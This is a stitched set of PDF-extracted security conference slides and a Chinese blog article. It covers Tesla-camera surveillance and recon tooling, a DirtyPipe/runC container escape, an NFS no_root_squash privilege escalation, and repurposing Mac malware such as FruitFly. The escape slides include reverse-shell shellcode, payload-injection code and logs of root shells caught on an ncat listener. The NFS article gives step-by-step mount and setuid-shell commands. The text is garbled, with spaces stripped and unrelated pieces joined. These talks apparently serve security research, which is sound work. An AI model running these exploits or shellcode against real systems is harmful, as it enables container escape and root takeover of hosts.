Surveillance Detection
TL;DR
Autopilot cameras are good
for a lot more than driving.
So are Teslas.
Why Tesla?
•Three Cameras Built In*
•Detailed Vehicle/Owner API
•Sentry Mode (Always On)
•In-Car Web Browser
Surveillance Detection Scout
•Real-Time License Plate Recognition
•Real-Time Familiar Face Detection
•Recon/Pattern of Life Querying
•Open-Source & Locally Deployed
“Real-Time” Defined
Inference starts
as soon as an
mp4 hits disk*
Counter-Surveillance Scenarios
•While Parked: Which cars/people
are loitering near my house/car?
•During Your Drive: How long has
that car been behind me? Have I
seen that car before?
Recon Query Scenarios
•Tailgating: What time does my
target arrive/leave the office?
•Lockpicking: How often does
security make rounds? At what
hours is the building empty?
Web Stack
Vue.js
Express
CV Stack
Hardware Options
Pi Zero W
$10
Pi 4B (4GB RAM)
$55
Jetson Nano
$100
Jetson Xavier
$700
Hardware Benchmarks
Pi Zero W
0
8
15
23
30
Average Inference FPS
Pi 4B/G
Jetson Nano
Jetson Xavier
DEMO
What’s Next?
•Remote Live* View
•3rd Party Dashcams
•Gait Recognition
•More Object Detection
•[Your Request Here]
Privacy Implications
•Amount of actionable
surveillance data will skyrocket
•Private corporations and
governments want it
•Breaches will expose it
(Of the self-driving future)
Truman Kain
TEVORA
Your Lookout on Autopilot
Thank you!
threat.tevora.com/scout | pdf |
ERROR: type should be string, got "https://www.comp.nus.edu.sg/programmes/pg/misc/\nØ\nGitHub:brant-ruan\nØ\nBlog:blog.wohin.me\nØ\n5G\nØ 盟\nØ \nØ\nMetarget\nAboutMe\nCONTENTS\n01\n02\n04\nDirtyPipe\nCVE-2019-5736\n03\n05\nrunC\nsrc: https://containerd.io/img/architecture.png\n故事要从DirtyPipe讲起\n01\nDirtyPipe (CVE-2022-0847)\nTheDirtyPipeVulnerability\nMaxKellermann [email protected]\nAbstract\nThisisthestoryofCVE-2022-0847,avulnerabilityintheLinuxkernel\nsince5.8whichallowsoverwritingdatainarbitraryread-onlyfiles.\nThisleadstoprivilegeescalationbecauseunprivilegedprocessescan\ninjectcodeintorootprocesses.\nItissimilarto CVE-2016-5195DirtyCow butiseasiertoexploit.\nThevulnerability wasfixed inLinux5.16.11,5.15.25and5.10.102.\n➜ dpuname-r\n5.8.0-050800rc1-generic\n➜ dpcat/etc/passwd|head-n1\nroot:x:0:0:root:/root:/usr/bin/zsh\n➜ dp./exploit/etc/passwd1hacked\nItworked!\n➜ dpcat/etc/passwd|head-n1\nrhacked0:0:root:/root:/usr/bin/zsh\nPoC/etc/passwd\n➜ ~dockerrundirtypipe:exp-1\n[*]exploitingDirtyPipe (CVE-2022-0847)\n[+]runC openedforreadingas/proc/self/fd/3\n[+]gotentrypoint:0x232390\n[*]injectingpayloadintorunC atentrypoint 0x232390\n[+]done\nshell\n➜ ~ncat -klvnp 4444\nNcat:Version7.60(https://nmap.org/ncat )\nNcat:Generatingatemporary1024-bitRSAkey.\nNcat:Listeningon:::4444\nNcat:Listeningon0.0.0.0:4444\nNcat:Connectionfrom192.168.3.101.\nNcat:Connectionfrom192.168.3.101:51995.\nexit\nNcat:Connectionfrom192.168.3.101.\nNcat:Connectionfrom192.168.3.101:51998.\npython3-c\"importpty;pty.spawn('/bin/bash')\"\n<08da5d2c57febb811f43f7ddf67a647d38c8e370d914ef6af#\n<08da5d2c57febb811f43f7ddf67a647d38c8e370d914ef6af#cd/\ncd/\nroot@ubuntu-bionic:/#\nØ runC\nØ CVE-2019-5736\nØ runC...\nØ runC\nØ runC\nØ \n名噪一时的CVE-2019-5736\n02\nCVE-2019-5736\n1\n终端2\nshell1%runc runctr\nshell2%runc execctrsh\n[thiswillblockfor500seconds]#sleep 500\nshell1[ctr]#ps aux\nPIDUSERTIMECOMMAND\n1root0:00sh\n18 root0:00{runc:[2:INIT]}/proc/self/exeinit\n24root0:00ps aux\nshell1[ctr]#ls/proc/18/fd -la\ntotal0\ndr-x------ 2rootroot0Nov2814:29.\ndr-xr-xr-x9rootroot0Nov2814:29..\n...\nlr-x------ 1rootroot64Nov2814:294->/run/runc/test\n...\nshell1[ctr]#ls-la/proc/18/fd/4/../../..\ntotal0\n...\ndrwxr-xr-x1rootroot1872Nov2509:22bin\ndrwxr-xr-x1rootroot552Nov2509:46boot\ndrwxr-xr-x21rootroot4240Nov2722:09dev\ndrwxr-xr-x1rootroot4958Nov2814:28etc\ndrwxr-xr-x1rootroot12Jun1512:20home\ndrwxr-xr-x1rootroot1572Oct3012:00lib\nCVE-2016-9962\nSetinit processesasnon-dumpable\nWhoC\nnsenter:clone/proc/self/exetoavoidexposinghostbinarytocontainer\nTherearequiteafewcircumstanceswhere/proc/self/exepointingtoa\nprettyimportantcontainerbinaryisa_bad_thing,sotoavoidthiswe\nhavetomakeacopy(preferablydoingself-clean-upandnotbeing\nwriteable).\nWerequirememfd_create(2)-- thoughthereisanO_TMPFILEfallback--\nbutwecanalwaysextendthistouseascratchMNT_DETACHoverlayfs or\ntmpfs.Themaindownsidetothisapproachisnopage-cachesharingfor\ntherunc binary(whichoverlayfs wouldgiveus)butthisisfarless\ncomplicated.\nThisisonlydoneduringnsenter sothatithappenstransparentlytothe\nGocode,andanylibcontainer usersbenefitfromit.Thisalsomakes\nExtraFiles and--preserve-fds handlingtrivial(becausewedon'tneedto\nworryaboutit).\nFixes:CVE-2019-5736\nCo-developed-by:ChristianBrauner <[email protected]>\nSigned-off-by:Aleksa [email protected]\nnsenter:cloned_binary:trytoro-bind/proc/self/exebeforecopying\nTheusageofmemfd_create(2)andothercopyingtechniquesisquite\nwasteful,despiteattemptstominimise itwith_LIBCONTAINER_STATEDIR.\nmemfd_create(2)added~10Mofmemoryusagetothecgroup associatedwith\nthecontainer,whichcanresultinsomesetupsgettingOOM'd (orjust\nhoggingthehosts'memorywhenyouhavelotsofcreated-but-not-started\ncontainersstickingaround).\nTheeasiestwayofsolvingthisisbycreatingaread-onlybind-mountof\nthebinary,openingthatread-onlybindmount,andthenumounting itto\nensurethatthehostwon'taccidentallybere-mountedread-write.This\navoidsallcopyingandcleansupnaturallyliketheothertechniques\nused.Unfortunately,liketheO_TMPFILEfallback,thisrequiresbeing\nabletocreateafileinside_LIBCONTAINER_STATEDIR(sincebind-mounting\noverthemostobviouspath-- /proc/self/exe-- isa*verybadidea*).\nUnfortunatelydetectingthisisn'tfool-proof-- onasystemwitha\nread-onlyrootfilesystem(thatmightbecomeread-writeduring\"runc\ninit\"execution),wecannottellwhetherwehavealreadydoneanro\nremount.Asapartialmitigation,westorea_LIBCONTAINER_CLONED_BINARY\nenvironmentvariablewhichischecked*alongside*theprotectionbeing\npresent.\nSigned-off-by:Aleksa [email protected]\n2019-03-01 v1.0.0-rc7\n2019-02-08 v1.0.0-rc7\nLXCmemfd\nCVE-2019-5736(runC):rexec callersasmemfd\nAdamIwaniuk andBorys Popławski discoveredthatanattackercancompromisethe\nrunC hostbinaryfrominsideaprivilegedrunC container.Asaresult,this\ncouldbeexploitedtogainrootaccessonthehost.runC isusedasthedefault\nruntimeforcontainerswithDocker,containerd,Podman,andCRI-O.\n➜ lxc git:(master)tail-n14./src/lxc/rexec.c\n/**\n*Thisfunctionwillcopyanybinarythatcallsliblxc intoamemoryfileand\n*willusethememfd torexecute thebinary.Thisisdonetopreventattacks\n*throughthe/proc/self/exesymlink tocorruptthehostbinarywhenhostand\n*containerareinthesameusernamespaceorhavesetupanidentityid\n*mapping:CVE-2019-5736.\n*/\n__attribute__((constructor))staticvoidliblxc_rexec(void)\n{\nif(getenv(\"LXC_MEMFD_REXEC\")&&lxc_rexec(\"liblxc\")){\nfprintf(stderr,\"Failedtore-executeliblxc viamemoryfiledescriptor\\n\");\n_exit(EXIT_FAILURE);\n}\n}\nØ runC\nØ runCro mount\nØ runC =>\nØ memfd\nØ ro mount\nØ 呢\n常见利用场景与利用手法\n03\n前提:runC是动态链接的\nvarpayload=\"#!/bin/bash\\n\"+shellCmd\nfor{\nwriteHandle,_:=os.OpenFile(\"/proc/self/fd/\"+strconv.Itoa(handleFd),os.O_WRONLY|os.O_TRUNC,0700)\nifint(writeHandle.Fd())>0{\nwriteHandle.Write([]byte(payload))\n//msfvenom -ax86-plinux/x86/execCMD=\"id>/tmp/hacked&&hostname>>/tmp/hacked\"-felf\nconstunsignedcharmalicious_elf_bytes[]={\n/*0x7f,*/0x45,0x4c,0x46,0x01,0x01,0x01,0x00,0x00,0x00,0x00,0x00,\n/*ELF */\n};\nintmain(intargc,char**argv){\nif(write_with_dirtypipe(path,1,malicious_elf_bytes,malicious_elf_bytes_size)!=0){\nrunc_fd_read =open(\"/proc/self/exe\",O_RDONLY);\nlseek(runc_fd_read,ELF_ENTRYPOINT_OFFSET,SEEK_SET);\nnbytes =read(runc_fd_read,&entrypoint,sizeof(entrypoint));\n//msfvenom -plinux/x64/shell_reverse_tcp LHOST=1.1.1.1LPORT=4444-fraw|xxd -i\ncharpayload[]={\n0x6a,0x29,0x58,0x99,0x6a,0x02,0x5f,0x6a,0x01,0x5e,0x0f,0x05,\n/*payload */\n};\nwrite_with_dirtypipe(runc_fd_read,entrypoint,payload,payload_len);\nELF\nELF\nDirtyPipe\nCVE-2022-0185runC\nUAFPipe Buffer Flag\n->Dirtypipe\n->DirtypiperunC\n->\nØ \nØ payload\nØ runC\nØ runCDirtyPipe\n探索更优雅的利用手法\n04\nELFELF\n➜ file`whichrunc`\n/usr/local/sbin/runc:ELF 64-bitLSBexecutable,x86-64,version1(SYSV),\nstaticallylinked,BuildID[sha1]=0afa4292e5163007028fbde6effb1a2edc1a3f49,forGNU/Linux3.2.0,stripped\n➜ xxd `whichrunc`|head-n1\n00000000:7f454c46020101000000000000000000.ELF............\nsrc: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format#/media/File:Elf-layout--en.svg\nELF\n➜ ~objdump -dj '.text'`whichrunc`|sed-n'13,24p'\n0000000000232390<_start@@Base>:\n232390:\n31ed\nxor\n%ebp,%ebp\n232392:\n4989d1 mov%rdx,%r9\n232395:\n5e\npop%rsi\n232396:\n4889e2 mov%rsp,%rdx\n232399:\n4883e4f0 and$0xfffffffffffffff0,%rsp\n23239d:\n50\npush%rax\n23239e:\n54\npush%rsp\n23239f:\n4c8d056ac24600\nlea0x46c26a(%rip),%r8\n2323a6:\n488d0df3c14600\nlea0x46c1f3(%rip),%rcx\n2323ad:\n488d3d8cb40600\nlea0x6b48c(%rip),%rdi\n2323b4:\nff15167ca800\ncallq *0xa87c16(%rip)\n➜ ~cat/proc/sys/kernel/randomize_va_space\n2\n➜ ~readelf -h`whichrunc`|sed-n'1,3p;8p;11p'\nELFHeader:\nMagic:7f454c46020101000000000000000000\nClass:ELF64\nType:DYN(Sharedobjectfile)\nEntrypointaddress:0x232390\n①\n②\n1.runCPIEASLR\n2.DirtyPipeELFpayload\n1.呢模payloadEntrypointOEP\n1.runCPIE\n2.社OEP\n3.payloadOEP\n2.payload\n1.padding\n2.section(s)\n➜ ~readelf --wide--section-headers`whichrunc`|sed-n'4,9p'\n[Nr]NameTypeAddressOffSizeESFlg LkInfAl\n[0]NULL000000000000000000000000000000000\n[1].interp\nPROGBITS000000000000027000027000001c00A001\n[2].note.ABI-tag\nNOTE\n000000000000028c 00028c00002000A004\n[3].note.go.buildid NOTE\n00000000000002ac0002ac00006400A004\n[4].note.gnu.build-id NOTE\n000000000000031000031000002400A004\n➜ ~readelf --wide--program-headers`whichrunc`|sed-n'7p;12,14p'\nTypeOffsetVirtAddr\nPhysAddr\nFileSiz MemSiz Flg Align\nNOTE\n0x00028c 0x000000000000028c0x000000000000028c0x0000a80x0000a8 R0x4\n157\nbytes\nrunCver:1.0.3\nrunC\n➜ ./runc_latest -v\nrunc version1.1.1\ncommit:v1.1.0-20-g52de29d7\nspec:1.0.2-dev\ngo:go1.17.6\nlibseccomp:2.5.3\n➜ readelf --wide--program-headers./runc_latest |sed-n'7,15p'\nTypeOffsetVirtAddr\nPhysAddr\nFileSiz MemSiz Flg Align\nLOAD0x0000000x00000000004000000x00000000004000000x0004e80x0004e8R0x1000\nLOAD0x0010000x00000000004010000x00000000004010000x46e0e10x46e0e1RE0x1000\nLOAD0x4700000x00000000008700000x00000000008700000x4562e20x4562e2R0x1000\nLOAD0x8c68a80x0000000000cc78a80x0000000000cc78a80x0336c80x071948RW0x1000\nNOTE0x0002000x00000000004002000x00000000004002000x0000440x000044R0x4\nTLS0x8c68a80x0000000000cc78a80x0000000000cc78a80x0000280x000078R0x8\nGNU_STACK0x0000000x00000000000000000x00000000000000000x0000000x000000RW0x10\nGNU_RELRO0x8c68a80x0000000000cc78a80x0000000000cc78a80x0037580x003758R0x1\nrunC NOTE68\nrunC\n➜ readelf --wide--section-headers./runc_latest 2>/dev/null|sed-n'4p;6,7p;29,30p'\n[Nr]NameTypeAddressOffSizeESFlg LkInfAl\n[1].note.gnu.build-idNOTE000000000040020000020000002400A004\n[2].note.ABI-tagNOTE000000000040022400022400002000A004\n[24].go.buildinfo\nPROGBITS0000000000cdfd508ded5000002000WA0016\n[25].noptrdata\nPROGBITS0000000000cdfd808ded8001a960 00WA0032\n008DED50FF20476F206275696C64696E663A0800.Gobuildinf:..\n008DED6050C0CC0000000000A0C0CC0000000000P...............\n008DED7000000000000000000000000000000000................\n008DED80052F0A3E203A010101010A7C04050103./.>:.....|....\n008DED903C612E2F2F005C275C225C5C01020300<a.//.\\'\\\"\\\\....\n008DEDA03C703E003C7464003C7468003C683100<p>.<td.<th.<h1.\n008DEDB03C6832003C6833003C6834003C683500<h2.<h3.<h4.<h5.\n008DEDC03C6836002E2E2F00EFBFBD006E756C6C<h6.../.....null\n008DEDD000060C1200060C123C74743E3C2F613E........<tt></a>\n008DEDE0266C743B3C2F703E3C68723E3C756C3E<</p><hr><ul>\n008DEDF03C6F6C3E2667743B3C646C3E3C6C693E<ol>><dl><li>\n008DEE003C64643E3C64743E3C74723E3C62723E <dd><dt><tr><br>\n008DEE103C656D3EFFFFFFFFFFFFFFFF01000000<em>............\n008DEE20FFFFFFFF08000000FFFFFFFF01000000 ................\n008DEE3008000000010000002D2D2D0A266C743B ........---.<\n008DEE402667743B5C75303026616D703B000000 >\\u00&...\n008DEE503C64656C3E0000003C2F74743E000000<del>...</tt>...\n008DEE603C7072653E0000003C2F756C3E000000<pre>...</ul>...\n008DEE703C2F6F6C3E0000003C2F646C3E000000</ol>...</dl>...\n008DEE803C2F6C693E0000003C2F64643E000000</li>...</dd>...\n008DEE903C2F64743E0000003C2F74643E000000 </dt>...</td>...\n008DEEA03C2F74683E0000003C2F74723E000000</th>...</tr>...\n008DEEB03C2F68313E0000003C2F68323E000000</h1>...</h2>...\n008DEEC03C2F68333E0000003C2F68343E000000 </h3>...</h4>...\n--- runc\n--0x8DEEC0/0x8FA980-------------------------------------\n008DED50 505152565741534831C04883C0390F05\n008DED60 83F8007420B8F01B4000488D1D000000\n008DED70 00904881EB710D80004801C3415B5F5E\n008DED80 5A595853C3554889E54831D26A015E6A\n008DED90 025F6A29580F054883EC08C704240200\n008DEDA0 115CC7442404C0A80066488D34244883\n008DEDB0 C4085B4831DB6A105A6A035F6A2A580F\n008DEDC0 054831F6B0210F0548FFC64883FE027E\n008DEDD0 F34831C04831F648BF2F2F62696E2F73\n008DEDE0 6856574889E74831D2B03B0F05756C3E\n008DEDF03C6F6C3E2667743B3C646C3E3C6C693E\n008DEE003C64643E3C64743E3C74723E3C62723E\n008DEE103C656D3EFFFFFFFFFFFFFFFF01000000\n008DEE20FFFFFFFF08000000FFFFFFFF01000000\n008DEE3008000000010000002D2D2D0A266C743B\n008DEE402667743B5C75303026616D703B000000\n008DEE503C64656C3E0000003C2F74743E000000\n008DEE603C7072653E0000003C2F756C3E000000\n008DEE703C2F6F6C3E0000003C2F646C3E000000\n008DEE803C2F6C693E0000003C2F64643E000000\n008DEE903C2F64743E0000003C2F74643E000000\n008DEEA03C2F74683E0000003C2F74723E000000\n008DEEB03C2F68313E0000003C2F68323E000000\n008DEEC03C2F68333E0000003C2F68343E000000\n--- runc\n--0x8DEEC0/0x8FA980--------------------------\nDEMO 1 exec\n➜ ~dockerrun--rm-v`pwd`/exp:/exp-it--nameescapeubuntu:18.04/bin/bash\nroot@60adb7f4b502:/#cd/exp;./escape_with_dirtypipe_exec\n[*]exploitingDirtyPipe (CVE-2022-0847)\n[*] waitingforrunC tobeexecutedinthecontainer\n[+]runC catched:/proc/353/exe\n[+]originalentrypoint:0x401bf0\n[+]OEPinpayloadupdated\n[+] remoteIPandportinpayloadupdated\n[*]parsingrunC ELF\n[+]PT_NOTEsegment4found\n[+]section.go.buildinfo found\n[*]inject->offmod4096=0xd50\n[*]inject->secaddr mod4096=0x0\n[+]inject->secaddr +=0xd50\n[+] nop virtualaddr inpayloadupdatedto0x800d71\n[*] writingpayloadintorunC withdirtypipe\n[+]157bytespayloadinjectedat0x8ded50offsettotargetfile\n[*]updatingsectionheaderwithdirtypipe\n[+]section.go.buildinfo found\n[+]sectionheaderupdated\n[*]updatingsegmentheaderwithdirtypipe\n[+]segmentheaderupdated\n[*]updatingentrypoint to0x800d50withdirtypipe\n[+]exploitsucceeded\n➜ ~ncat -klvnp 4444\nNcat:Version7.91(https://nmap.org/ncat )\nNcat:Listeningon:::4444\nNcat:Listeningon0.0.0.0:4444\nNcat:Connectionfrom192.168.0.102.\nNcat:Connectionfrom192.168.0.102:53425.\nNcat:Connectionfrom192.168.0.102.\nNcat:Connectionfrom192.168.0.102:53427.\nNcat:Connectionfrom192.168.0.102.\nNcat:Connectionfrom192.168.0.102:53428.\ncat/etc/passwd|grepvagrant\nvagrant:x:1000:1000:,,,:/home/vagrant:/usr/bin/zsh\n➜ ~dockerexec-itescape/exp/bash_evil\nERRO[0000]Nohelptopicfor'/exp/bash_evil'\n➜ ~dockerrun--rm-itubuntu:18.04hostname\nd2d8b123f631\ndockerexec盟告runC\nshell\nDEMO 2 \n➜ ~dockerrundirtypipe:escape\n[*]exploitingDirtyPipe (CVE-2022-0847)\n[+]runC openedforreadingas/proc/self/fd/3\n[+]executing/escape_with_dirtypipe_image\n[+]originalentrypoint:0x232390\n[+]OEPinpayloadupdated\n[+] remoteIPandportinpayloadupdated\n[*]parsingrunC ELF\n[+]PT_NOTE segment5found\n[+]section.go.buildinfo found\n[*]inject->offmod4096=0x3b0\n[*]inject->secaddr mod4096=0x0\n[+]inject->secaddr +=0x3b0\n[+] nop virtualaddr inpayloadupdatedto0x8003d1\n[*]writingpayloadintorunC withdirtypipe\n[+]157bytespayloadinjectedat0xacd3b0offsettotargetfile\n[*]updatingsectionheaderwithdirtypipe\n[+]section.go.buildinfo found\n[+]sectionheaderupdated\n[*] updatingsegmentheaderwithdirtypipe\n[+]segmentheaderupdated\n[*] updatingentrypoint to0x8003b0withdirtypipe\n[+]exploitsucceeded\n➜ ~ncat -klvnp 4444\nNcat:Version7.91(https://nmap.org/ncat )\nNcat:Listeningon:::4444\nNcat:Listeningon0.0.0.0:4444\nNcat:Connectionfrom192.168.0.102.\nNcat:Connectionfrom192.168.0.102:54172.\ncat/etc/passwd|grepvagrant\nvagrant:x:1000:1000:,,,:/home/vagrant:/usr/bin/zsh\nNcat:Connectionfrom192.168.0.102.\nNcat:Connectionfrom192.168.0.102:55044.\nNcat:Connectionfrom192.168.0.102.\nNcat:Connectionfrom192.168.0.102:55045.\nNcat:Connectionfrom192.168.0.102.\nNcat:Connectionfrom192.168.0.102:55046.\n➜ dirtypipe dockerrun--rm-itubuntu:18.04hostname\nd5e509321515a\ndockerexecrunC\nshell\nshell\n__attribute__((constructor))voidrun_at_link(void) {\nintrunc_fd_read =open(\"/proc/self/exe\",O_RDONLY);\n}\nlibseccomp\n①\nØ \nØ runC\nØ 👉\nØ runC\nØ CVE-2019-5736\nØ DirtyPipeCVE-2022-0185\nØ \n路在何方\n05\nTakeaways\nØ \nØ +\nØ rootless\nØ &runC\nØ &\nØ https://veritas501.github.io/2022_03_16-CVE_2022_0185pipe\nØ https://terenceli.github.io//2022/03/19/container-escape-through-dirtypipe\nØ https://dirtypipe.cm4all.com\nØ https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b\nØ https://github.com/opencontainers/runc/commit/16612d74de5f84977e50a9c8ead7f0e9e13b8628\nØ https://github.com/opencontainers/runc/commit/50a19c6ff828c58e5dab13830bd3dacde268afe5\nØ https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d\nØ https://github.com/DataDog/dirtypipe-container-breakout-poc\nØ https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/\nØ https://github.com/advisories/GHSA-gp4j-w3vj-7299\nØ https://bugzilla.suse.com/show_bug.cgi?id=1012568#c6\nØ https://seclists.org/oss-sec/2019/q1/119\nØ PracticalBinaryAnalysisbyDennisAndriesse" | pdf |
2020/9/25
Linux提权姿势二:利用NFS提权
https://mp.weixin.qq.com/s?__biz=MzU4NTY4MDEzMw==&tempkey=MTA4MF95ZVZHaittcHd5aEVSN0dCcmZLUkk1ekhBRi1Sb2JicDBqQ20tU…
1/6
Linux提权姿势二:利用NFS提权
如果在服务器上具有低特权shell,并且发现服务器中具有NFS共享,则可以使用它来升级特权。但是成功
取决于它的配置方式。
目录
什么是NFS?
网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程
计算机上的文件,就像它们位于用户自己的计算机上一样。在 NFS 协议是几个分布式文件系统标
准,网络附加存储(NAS)之一。
NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作
系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数
据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构
系统之间数据的传送。
什么是root_sqaush和no_root_sqaush?
Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用
户在连接时会分配一个用户“ nfsnobody ”,它具有最少的本地特权。如果 no_root_squash 选项开启
的话”,并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时,系统管理员应始终使
用“ root_squash ”参数。
注意:要利用此,no_root_squash 选项得开启。
利用NFS并获取Root Shell
现在,我们拿到了一个低权限的shell,我们查看“ / etc / exports ”文件。
/ etc / exports 文件包含将哪些文件夹/文件系统导出到远程用户的配置和权限。
这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构成:
[共享的目录] [主机名或IP(参数,参数)]
1
2
3
4
1.什么是NFS?
2.什么是root_sqaush和no_root_sqaush?
3.所需的工具和程序文件。
4.利用NFS弱权限。
1
2
3
4
其中参数是可选的,当不指定参数时,nfs将使用默认选项。默认的共享选项是 sync,ro,root_squ
当主机名或IP地址为空时,则代表共享给任意客户机提供服务。
当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样:
[共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)]
李木
黑白天 今天
2020/9/25
Linux提权姿势二:利用NFS提权
https://mp.weixin.qq.com/s?__biz=MzU4NTY4MDEzMw==&tempkey=MTA4MF95ZVZHaittcHd5aEVSN0dCcmZLUkk1ekhBRi1Sb2JicDBqQ20tU…
2/6
我们可以看到/ tmp 文件夹是可共享的,远程用户可以挂载它。
还有不安全的参数“ rw ”(读,写),“ sync ”和“ no_root_squash ”
同样我们也可以使用 showmount命令来查看。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
showmount命令用于查询NFS服务器的相关信息
# showmount --help
Usage: showmount [-adehv]
[--all] [--directories] [--exports]
[--no-headers] [--help] [--version] [host]
-a或--all
以 host:dir 这样的格式来显示客户主机名和挂载点目录。
-d或--directories
仅显示被客户挂载的目录名。
-e或--exports
显示NFS服务器的输出清单。
-h或--help
显示帮助信息。
-v或--version
显示版本信。
--no-headers
禁止输出描述头部信息。
显示NFS客户端信息
# showmount
显示指定NFS服务器连接NFS客户端的信息
# showmount 192.168.1.1 #此ip为nfs服务器的
显示输出目录列表
# showmount -e
2020/9/25
Linux提权姿势二:利用NFS提权
https://mp.weixin.qq.com/s?__biz=MzU4NTY4MDEzMw==&tempkey=MTA4MF95ZVZHaittcHd5aEVSN0dCcmZLUkk1ekhBRi1Sb2JicDBqQ20tU…
3/6
这里不多说了
我们接下来在我们的攻击机上安装客户端工具
需要执行以下命令,安装nfs-common软件包。apt会自动安装nfs-common、rpcbind等12个软件包
然后输入命令
创建目录以挂载远程系统。
在/tmp/test上装载Remote/tmp文件夹:
27
28
29
30
31
32
33
34
35
36
37
38
显示指定NFS服务器输出目录列表(也称为共享目录列表)
# showmount -e 192.168.1.1
显示被挂载的共享目录
# showmount -d
显示客户端信息和共享目录
# showmount -a
显示指定NFS服务器的客户端信息和共享目录
# showmount -a 192.168.1.1
1
2
sudo apt install nfs-common
apt-get install cifs-utils
1
showmount -e [IP地址]
1
mkdir / tmp / test
1
mount -o rw,vers = 2 [IP地址]:/ tmp / tmp / test
2020/9/25
Linux提权姿势二:利用NFS提权
https://mp.weixin.qq.com/s?__biz=MzU4NTY4MDEzMw==&tempkey=MTA4MF95ZVZHaittcHd5aEVSN0dCcmZLUkk1ekhBRi1Sb2JicDBqQ20tU…
4/6
然后在/tmp/test/中。新建一个c文件。
也可以
编译:
赋权:
1
2
3
4
5
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() { setuid(0); system("/bin/bash"); return 0; }
1
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /
1
gcc /tmp/test/suid-shell.c -o / tmp / 1 / suid-shel
1
chmod + s /tmp/test/suid-shell.c
2020/9/25
Linux提权姿势二:利用NFS提权
https://mp.weixin.qq.com/s?__biz=MzU4NTY4MDEzMw==&tempkey=MTA4MF95ZVZHaittcHd5aEVSN0dCcmZLUkk1ekhBRi1Sb2JicDBqQ20tU…
5/6
好的,我们回到要提权的服务器上
可以看到是ROOT权限了
系列
Linux提权姿势一:滥用SUDO提权
渗透测试 红队攻防 免杀 权限维持 等等技术
及时分享最新漏洞复现以及EXP 国内外最新技术分享!!!
进来一起学习吧
1
2
cd / tmp
./suid-shell
2020/9/25
Linux提权姿势二:利用NFS提权
https://mp.weixin.qq.com/s?__biz=MzU4NTY4MDEzMw==&tempkey=MTA4MF95ZVZHaittcHd5aEVSN0dCcmZLUkk1ekhBRi1Sb2JicDBqQ20tU…
6/6 | pdf |
Harnessing Weapons
...of Mac Destruction
WHOIS
@patrickwardle
repurposing
!detection
detection
OUTLINE
the idea
The Idea
"good hackers copy; great hackers steal"
spy "a"
the "lab"
}
captured!
(by spy "b")
REPURPOSING MALWARE
...for personal gain
spy "b"
"repurposed"
...rather why not!
WHY?
With more resources and motivations, APT &
cyber-criminal groups are (likely) going to
write far better malware than you!
money
coders
mission
fully
featured
that will also be attributed to them!
}
fully
tested
+
+
...so why not for us?
WORKS FOR "THEM"
leaked slides
}
"risky"
deployments
attribution
from to
CHALLENGES
without source code!
find all
relevant logic
understand
C&C protocol
patch (correctly)
avoid (AV) detection
analysis phase
create C&C server
incomplete patch
EXAMPLE: FAIL
$ cat fpsaud
#!/usr/bin/perl
use strict;use warnings;use IO::Socket;use
IPC::Open2;my$l;sub G{die if!defined
syswrite$l,$_[0]}sub J{my($U,
$A)=('','');while($_[0]>length$U){die if!
sysread$l,$A,$_[0]-length$U;$U.=$A;}return$U;}
sub O{unpack'V',J 4}sub N{J O}sub H{my$U=N;
$U=~s/\\/\//g;$U}sub I{my$U=eval{my$C=`$_[0]`
#backup c&c servers
for my $B( split /a/, M('1fg7kkb1nnhokb71jrmkb;rm`;kb...') )
{
push @e, map $_ . $B, split /a/, M('dql-lwslk-bdql...');
}
wtf?
...backup C&C servers left intact
OSX.FruitFly (repurposed)
+
Repurposing
"good hackers copy; great hackers steal"
choose your malware!
REPURPOSING
capabilities:
attribution:
120+ mac malware samples!
ransomware
crypto-miner
backdoor
implant
0x00001a47 lea eax, dword [edi+4]
0x00001a4a mov esi, dword [edi+0x44]
0x00001a4d sub esp, 0xc
0x00001a50 push eax
0x00001a51 call gethostbyname
01
02
03
04
05
06
analyze specimen
REPURPOSING
understand protocol
$ lldb malware.app
(lldb) b gethostbyname
(lldb) c
Process stopped: gethostbyname
(lldb) x/s *((char**)($esp+4))
0x00112240: "89.34.111.113"
0x00112240: C&C server
find remote access
e.g. checkin
w/ install path
0x0000848e mov dl, byte [dataFromServer]
...
0x00004125 dec dl
0x00004127 cmp dl, 0x42
0x0000412a ja invalidCommand
0x00004145 movzx eax, dl
0x00004148 jmp dword [commands+eax*4]
01
02
03
04
05
06
07
08
09
10
parsing C&C tasking
understand capabilities
patch to "reconfigure"
REPURPOSING
$ python server.py 1337
listening on ('0.0.0.0', 1337)
waiting for a connection…
malware connected: '192.168.0.04'
connection received!
89.34.111.113
original C&C server
patching C&C server address
create a custom C&C server
REPURPOSING
DEF CON 25 P. Wardle
"Offensive Malware Analysis: Dissecting OSX.FruitFly
www.virusbulletin.com/uploads/pdf/magazine/2017/VB2017-Wardle.pdf
$ python server.py 1337
...
malware connected: '192.168.0.4'
[+] specify command: 11
sending command: 11 (pwd)
response:
byte: 11 (command)
string: '/Users/user/Desktop'
[+] specify command: 02
sending command: 02 (screenshot)
(remote) screenshot
fully-featured and undetected for 10yrs+
OSX.FRUITFLY (BACKDOOR)
}
mouse & keys
files
processes
webcam
discovered by
@thomasareed
terminal
screenshot
repurposing the backdoor
OSX.FRUITFLY
if(@ARGV == 1) {
if($ARGV[0] =~ /^\d+$/ ){ $h = $ARGV[0] }
elsif($ARGV[0] =~ /^([^:]+):(\d+)$/) {
($h, @r) = ($2, scalar reverse $1);
}
}
